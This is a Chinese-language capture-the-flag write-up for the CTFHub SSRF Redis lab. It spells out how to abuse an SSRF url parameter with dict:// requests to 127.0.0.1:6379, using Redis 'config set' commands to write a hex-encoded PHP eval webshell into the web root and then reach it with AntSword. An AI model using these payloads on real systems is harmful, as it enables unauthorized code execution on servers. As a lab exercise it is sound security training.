1.靶场准备:
CTFHub-技能树-Web-SSRF-Redis协议
蚁剑AntSword
2.简述:
2.1 SSRF
服务器端请求伪造,存在一个url参数,一般用于图片上传、网页重定向等,我们可以控制url参数,去访问内网服务器的敏感内容。
2.2 dict协议
dict协议是词典网络协议,使用TCP连接,可利用dict协议进行内网ip和端口探测,并且可以执行一些服务的命令如redis
2.3 redis
内存数据结构存储系统,性能高,处理速度快。默认端口为6379.
3.redis写webshell的方式
我们首先练习在redis中,写一个文件的操作,命令如下:
config set dir /var/www/html/ #指定当前打开的目录
config set dbfilename webshell.php #指定当前打开的文件名称,没有则创建
set test "<?php @eval($_POST[cmd]);?>" #指定写入的内容
save #保存
4.SSRF利用dict协议攻击redis
访问靶机:发现有url参数:
先试一试用file协议读取敏感文件:
利用dict协议读一下redis服务的信息:
?url=dict://127.0.0.1:6379/info
使用dict协议执行上面的redis命令:
第一步:
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html/
第二步: webshell命名为qqq.php
?url=dict://127.0.0.1:6379/config:set:dbfilename:qqq.php
注意,写入文件的内容需要使用十六进制编码:
即
\\n\\n<?php @eval($_POST[cmd])?>\\n\\n
编码为
\x5c\x5c\x6e\x5c\x5c\x6e\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x6d\x64\x5d\x29\x3f\x3e\x5c\x5c\x6e\x5c\x5c\x6e
第三步:
?url=dict://127.0.0.1:6379/set:test:"\x5c\x5c\x6e\x5c\x5c\x6e\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x6d\x64\x5d\x29\x3f\x3e\x5c\x5c\x6e\x5c\x5c\x6e"
第四步:
?url=dict://127.0.0.1:6379/save
每一步都会显示:表示成功
访问一下qqq.php看看:
有内容说明上传成功!
最后直接使用蚁剑AntSword连接我们上传的qqq.php即可:
成功!
找到根目录下面的flag文件:
就得到了ctfflag!
踩雷tips:
写webshell时用了$_GET接收参数,结果可以上传成功,但是蚁剑始终无法连接,改成$_POST接收参数后,问题解决。